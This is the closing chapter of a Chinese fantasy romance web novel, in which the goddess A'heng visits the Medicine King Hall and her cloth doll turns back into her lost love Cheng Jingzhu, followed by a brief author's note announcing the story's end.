阿姮躺在山间巨石之上,枕着一只手臂,抬眼一望,夜幕浓昏,星河如顷,一轮圆月高高悬挂,莹白无瑕。 她啃了一口鲜红的果子:“果真是要办瑶池盛会了,连太阴星君都把她的月亮擦这么干净。” 阿姮转过脸,看向躺在她身边的布娃娃,清澈的月华将布娃娃宝石做的眼睛照得明亮极了,她嘟囔道:“我之前去玩的时候,她天天请我吃月饼,我这辈子都不想吃那玩意了。” 月光映在布娃娃的眼睛里,被分割的光影竟像是弯弯的笑痕。 阿姮啃光了果子把核一吐,她将布娃娃捧起来,正兴致勃勃打量起自己给他新做的衣裳,耳心里忽然又响起许多的声音。 她听到许多的凡人在向她求长寿。 因为陈家村里那三个活招牌,松南岭那间小庙香火变得越来越旺,凡人们从那时候便认定拜她能得长寿。 也有些求发财,生小孩,升官之类的,阿姮听慈济真君那老头说过,有些人才不管你是什么神仙呢,能求的都求一遍,万一呢? 这些倒是少数,比求长寿还多的,是无数的凡人女子都爱求她让她们变好看,这一切,都因为陈小虎他们当初亲眼得见小庙中的神像忽然变化出鲜明的五官,他们大肆宣扬了一番,从此,整个松南岭,乃至松南岭之外,都开始莫名其妙流传着妙华娘娘可使女子颜如舜华的奇怪传言。 阿姮还听到许多妖怪也在向她求,求修行之法,求克欲之要,有的诚心求道,还有的问她能不能一步登天。 还有的跟她抱怨说人类的世界诱惑真的太多了。 阿姮一下坐起身来,脸色越来越臭,为什么上界没有个不许凡人或者妖怪熬夜拜神求神的规矩,她最近简直要被吵死了! 因为最近神祠忽然变多,阿姮还没有熟练隐去这些声音的法术,她试了好几下,耳根子才终于清净下来。 没有了方才的那分闲适,阿姮索性抱起布娃娃,循着山径,蹑露而行,也许是从前在人间的那八十六年她已习惯了像凡人一样行路,她曾攀山,观雨,屡次欣赏人间四时,她从中发现了许多的乐趣,譬如今夜,她如凡人一般慢慢行,慢慢欣赏起这幅春夜山景。 淡白的月华点缀山野,阿姮穿溪过隙,天色渐渐亮起来,照见山花满路,白雾迷蒙,阿姮路过一个小山村,听见一阵鸡鸣,村中炊烟渐起,她却往山野更深处去。 深山之中,人烟尽绝。 阿姮遥望乱峰列岫,险绝插天,那已不是凡人可抵达之处,她身化红雾,随风而动,飞过乱石危崖,垂眸可见乱峰奇雄。 红雾于山巅凝出阿姮身形,她抬首便见这山巅半隐云中,她置身其中,方才得见矗立于长长石阶之上的重重殿阁。 上清紫霄宫分三殿,而三殿各在一峰。 而此峰,正是药王殿所在。 阿姮再度化为红雾掠入古朴巍峨的殿阁之中,一时间,整个药王殿青黛瓦檐下的紫金铃纷纷碰撞出清冽的声响。 药王殿弟子纷纷仰头,望向那缕忽然造访的神秘红雾。 主殿之中,入定的积玉似忽有所感,他一下睁开眼睛,起身快步踏出殿门,抬头看清那红雾的刹那,他目光一亮:“阿姮!” 见向来庄严稳重的殿师如此欣喜的模样,药王殿一众弟子不由心生诧异,正是此时,他们亲眼见那红雾缓缓凝成一少女身形。 那少女乌髻如云,斜插一根焦簪,竟盛放如簇春花,娇艳欲滴,她拥有一双红眸,却秋波流慧,神情光艳,恰如红药碧桃。 她怀里抱着一个布娃娃,那布娃娃无一处不精美,浑身珠饰,在日光下晶莹剔透。 “积玉,我来找你喝酒了。” 她一笑,眉眼盈盈。 积玉与她相视,亦笑。 整个药王殿上下十分阔大,连阁云蔓,宇舍华好,秀木成林,在这样的清净之地,阿姮与积玉并肩,听到鸟鸣,铃响,叶动,偶尔有经过的弟子轻声交谈,说笑,风中似乎还隐约有几分隐秘的药香。 他们停在一扇朱漆碧窗下,阿姮透过那薄薄的窗纱,看到里面嵌了满墙的药柜,许多年轻的弟子一边看书,一边认药,偶尔用蒲扇轻轻扇着炉中的火,锅中沸腾,缕缕白烟携带浓烈的药味散开来。 “这是我们认药,辨方的所在。” 积玉的声音自她身侧传来:“从前小师叔就喜欢坐在靠窗的这个位置,他的医书,用具,摆放得最是整齐。” 阿姮下意识向下看去。 临窗的桌案上医书堆得快与窗棂齐高,却摆放得十分整齐,文房用具也都很有秩序,阿姮一下推开窗,惊动了几个离得近的弟子,他们抬头看见阿姮,先是一愣,眼睛一转,刹那望见殿师那张严肃的脸,他们吓得连忙转过脑袋,专心做事去了。 “你看你把他们吓成什么样了。” 阿姮抓起来一本医书,“你这副样子明明没老,怎么我看你如今却颇有个古板老头的风范。” 积玉绷的很严肃的脸一下有点松了:“我要是不这样,他们玩性太大,又如何修行呢?再说了,从前我师父也是这样的。” 要担起一个药王殿的责任,从来不是那么容易的事。 阿姮随意地翻着医书,她根本看不懂,却在上面发现了熟悉的字迹,她一顿:“这是他的书吗?” 积玉点点头:“自小师叔下山,这张书案再没有人用过,他的东西也都还放在这里。” 阿姮辨认着他的字迹,那似乎都是些他学医术的心得。 她一页一页地翻,却觉得书页里似乎夹着什么,她翻过数页,只见其中静静躺着一截纤细的,褐色的根茎。 阿姮捏起那根茎:“这是什么?” 积玉看了一眼,说道:“是甘草。” 甘草? 阿姮盯着手中的东西,没明白它有什么特别。 积玉望着那甘草,却忽然想起一些事:“小师叔从来不用任何食物,但课业上需要亲尝百草辨识药性,那还是小时候,他第一次尝到甘草的滋味,问我这是什么味道,我跟他说,这是甜的,像山下卖的糖丸一样甜。” 像……糖丸一样甜? 阿姮一怔,没由来的想到赤戎重逢,她相见不识,心中百般谋算他的心脏,而他那时也并不戳穿她,看她装模作样,还给她药吃。 但那药,其实是他用来捉弄她的糖丸。 “他喜欢吃糖吗?” 阿姮问。 积玉摇头:“不,除了试药,他不用任何东西,也不曾吃过糖,我小时候求着师兄给我买了好多,我送给小师叔,他都不要。” 阿姮忽然沉默。 那为什么……他曾回到赤戎的时候,身上却带着糖呢? 阿姮没放下那本医书,也没放下那根甘草,她跟着积玉继续走,去看他们修行的地方,他们炼丹的地方,整个药王殿像是怎么逛也逛不完。 药王殿最清净之处,即是程净竹从前的住所,即便他已离开这里许久,但每日都有弟子前来清扫,房中明亮又干净,分毫不染尘。 天色渐渐昏暮,夕阳斜照廊下,积玉在桌前倒好两杯酒,抱怨道:“这酒我早已备下,我还以为六年前你一定会来,可那时,你却骗了我。” 阿姮脸上没有一点心虚,那阳钧在天上也跟他那师父慈济老头一样不老实,时不时便给他的好徒儿积玉托梦,她怎么成神的那点事,只怕阳钧早给她暴露干净了,她端起酒杯抿了一口:“我就说嘛,你这酒真没什么好喝的。” “我觉得还行啊。” 积玉喝了口,说:“就你那嘴刁,我师父都说了,你在天上根本不消停,哪儿有好吃的好喝的你就往上凑,还四处要人家的法宝,骑人家的坐骑玩儿,你知不知道他们背地里都叫你混世魔王?” “你师父嘴真碎。” 阿姮冷笑。 “我师父就是不放心我……”积玉连喝了几杯,那副殿师的威严顿时随着他的双肩而塌下去,“他不放心药王殿。” 阿姮看他那副已经有些朦胧的眼:“……这才几杯?你就这样了?你到底喝没喝过酒啊?” 积玉摇了摇头:“平时哪能喝呢?我可是殿师,要是让药王殿弟子见了,我……我还要不要脸?” “……” 阿姮无言。 “你去看霖娘了吗?” 积玉问她道。 阿姮摇头:“慈济老头要我背天规,那东西又臭又长,我背了六年才背会,还没来得及去宛州。” “我前年去过了,那赵太守对她很好,你放心,”积玉又给自己和她倒好了酒,他闷了一口,说,“差不多再有个十年,她便会恢复记忆,飞升成仙,十年光阴而已,那其实是很快的……你们就快相见了。” 积玉顿了一下,又说:“我相信,你和小师叔也会很快相见的。” 阿姮一愣。 她捏着酒杯,一时没有出声。 她与霖娘,还能有个明确的再见之期,她至少不必那么迷茫地等,可她与小神仙呢?她至今也无法料定,究竟十年,百年,还是更久,她才可以等得到他。 但她会等的,会等霖娘,也会一直一直等着他。 阿姮不由放下酒杯,捧起怀中的布娃娃,此时,积玉看了过来,他显然已经醉了,忽然就激动起来:“阿姮,小师叔……在这里面吗?在里面对不对?你能不能让我看看?让我看看吧……” 他明明还在询问,手却已经伸了过去,阿姮看了他一眼,没说话,却将布娃娃交给了他。 积玉眼睛亮晶晶地捧过布娃娃,衣袖却在此时碰倒了酒杯,酒液洒在布娃娃的衣襟,浸出一团污渍,他脸一下木了,抬起头,小心翼翼看向阿姮,看见她那副皮笑肉不笑的样子,积玉额头冒出冷汗,忙要去解布娃娃的衣裳:“你别生气,我这就给小师叔换一身,我有一件料子特别好的衣裳……” 阿姮一把抢过布娃娃,引得布娃娃浑身珠饰碰出阵阵清音,她瞪着积玉:“谁让你给他换了?” 积玉迷迷瞪瞪,指了指自己:“我不可以吗?” “不可以。” 阿姮轻抚布娃娃银色的发丝,对他说道:“我也不要你的什么衣裳,我可会做衣裳了,你不知道我做了多少漂亮衣裳。” “……哦。” 积玉觉得酒把他脑子裹住了,什么也反应不过来。 天色彻底暗了下来,积玉强撑着他殿师的威仪回自己殿里去了,阿姮独坐房中,她抬手,临窗的书案上烛火骤亮。 阿姮看向那张书案,又盯住那烛火。 她忍不住想象,从前小神仙是如何在这里一天天长大,他又到底在那盏灯前,那张案前,度过多少日夜。 阿姮将布娃娃放到床上,一挥袖,数件锦衣凭空乍现,这些衣裳都是她估算着小神仙的身量一针一线精心做的,她坐在床沿,轻哼着不知名的调子,仔细地挑选了一番,最终,她选中其中一件红色的,这是她最喜欢的颜色。 窗上映出她纤细的影子,窗外春风簌簌。 阿姮施展术法,将那件衣裳变幻成适合布娃娃的大小,随后将布娃娃身上的珠饰解下,又慢条斯理地为其换好新衣,烛火映照之下,红色的锦袍泛出金色火焰状的暗纹光泽。 阿姮为布娃娃重新戴上那串莹白的宝珠。 窗外竹影摇摇,她心满意足地抱起布娃娃,蹬掉鞋子躺到床上,她睁着双眼,烛火幽幽,房中似乎有一股隐秘的香味,阿姮轻轻地嗅,缓缓辨出那似乎是青蘅草的香味。 阿姮忽然呆愣。 她意识到,原来自己已多年不曾闻到过这香味。 药王殿的春夜是那么的清净,阿姮再是神身,她也依靠双腿走了一夜的山路,她的眼皮逐渐被涌上来的疲惫压下去,她身上盖着干净温暖的被子,怀中抱着她最珍爱的布娃娃,很快陷入睡梦。 案上烛火摇摇,房中静无一声。 昏黄的烛火映照着阿姮白皙的脸庞,她明明安睡,呼吸轻轻,眼睑却缓缓浸出泪光,浸湿她的眼睫,划过她的脸颊。 窗外忽有风起,拂过青松竹影,声如涛涌。 窗棂骤然被风叩开,摇晃着发出“吱呀”轻响,月华斜照而入,淡白的光影中,飞花落了满窗,夜风入室,案上烛火骤然熄灭。 床榻之上,金光如缕,自少女胡乱翻开的被角而散发出来,她怀中的布娃娃幻化成缕缕莹光,逐渐凝成一道颀长的身影。 阿姮在睡梦中不自觉地皱眉。 仿佛有块巨石压在她身上让她喘不过气,她原本乏味的梦境因为这份压迫而变幻,她梦见她的布娃娃变成了赤戎那座神山。 程净竹最先意识到自己似乎身在温暖的衾被里,然后,他觉得自己浑身的骨骼都是那么轻易地撑起他的这副神魂,令他不再痛苦。 他听到了风声,那风拂来,他竟然觉得有一分的冷,乌浓的眼睫一动,昏暗的光影缓缓照亮他的视线。 紫竹床柱撑起素白的幔帐,夜风吹着幔帐轻轻舞动。 他的视线里,骤然出现一张熟睡的脸。 月影之下,她的脸颊泛着轻微的泪痕,睡梦中,她的呼吸似乎不畅,以至于弯而细的眉无意识地拧起来。 “阿姮……” 昏暗的室内,满窗的风声,他的声音微不可闻。 是阿姮。 程净竹伸出手,修长苍白的指节微微一顿,又那么小心翼翼地轻轻触碰她湿润的脸颊。 这一瞬,阿姮眉头更紧,骤然惊醒,她睁开双眼的刹那,猝不及防撞见眼前的一切,她绷如弓弦的身躯陡然僵住了。 夜风吹得素白的幔帐乱舞,碧窗更加猛烈的吱呀乱响。 阿姮眼瞳震颤。 她忽然一把攥住他胸前莹白的宝珠,程净竹不受控地低下头,从那片浓暗的阴影里,落入一片融融月色中。 朱红的衣襟因她忽然的举动而变得凌乱散开,那串宝珠映衬着他苍白的颈项,他垂下眼帘,与她相视。 纱月摇影。 “我是不是……” 阿姮喉咙干涩得厉害,声音仿佛充满疑惑:“我是不是出现幻觉了?” 程净竹望着她。 他垂首轻轻吻了吻她的眼睛,说:“不是。” 她的睫毛不住地颤动,茫然地说:“药王殿是不是有什么奇怪的法术?” “没有。” 他又轻吻她的脸颊。 “那你,那你……” 程净竹吻过她的鼻尖,她的声音一下戛然而止,也是这一刻,阿姮的眼眶骤然红透,视线变得模糊。 她紧紧攥住他颈间的宝珠,说:“小神仙,我很想你。” 他轻轻地回应:“我知道。” “这个是我给你做的宝珠,我找了很久,找来天底下最漂亮的珠子给你做的,”阿姮垂下泪眼,望向攥在手中的东西,“我原来在东海底下拿那些神萦花珠,其实是想给你做一串新的珠串,可是,可是后来我把那些珠子都给霖娘用了……” 程净竹看向胸前的这串宝珠:“很漂亮,我很喜欢。” “我在人间很多年,一直用我送给你的那个丑荷包里的钱,可是怎么也用不完,明明我很浪费,”阿姮也不知道自己到底在说些什么,“积玉说那些钱是你的月俸,他说那都是你留给我的,是这样吗?你在药王殿所有的钱,都是给我攒的吗?” “是,”程净竹望着她说,“我早就想过了,有一天接你出来,你会需要这些。” 阿姮睁着一双湿润的眼,一瞬不瞬地望着他:“那糖丸呢?你回到赤戎,骗我吃的糖丸……也都是给我买的吗?” 程净竹垂首,亲吻她的嘴唇。 “是,给你买的。” 阿姮不自禁将宝珠攥得更加用力,程净竹几乎与她气息相贴,近在咫尺,她依旧望着他,说:“这是奖励吗?” 程净竹剔透的眼与她相视。 “是奖励,奖励阿姮是那么勇敢地摆脱了旁人强加给她的命运。” 夜风拍窗,他的嗓音是那么的柔和:“奖励阿姮一个人踏遍千山万水,游览过天地风光,从此永远自由。” “奖励阿姮学会了做人,成为了她想成为的人,先化人,再化神。” “奖励阿姮……还好好地活着。” 他不是什么意识都没有,只是大多时候都不那么清晰,离开赤戎的神山,离开他的神骨,他只能做到陪伴她,照顾她,却无法有意识地回应她。 但她回到赤戎的那个时候,在神山石窟之中,他是那样清晰地感知到她。 可他无能为力,他什么也做不了。 他只能借几簇藤花,希望她读懂他的挽留。 可他终究没能留得住她。 好在今夜有风,好在这风将他最后一缕残识送来药王殿,送来她身边。 “我的阿姮,天上地下,万中无一。” ——正文完—— 作者有话说:正文到这里就完结啦,番外的话,可能要休息一段时间更~《 》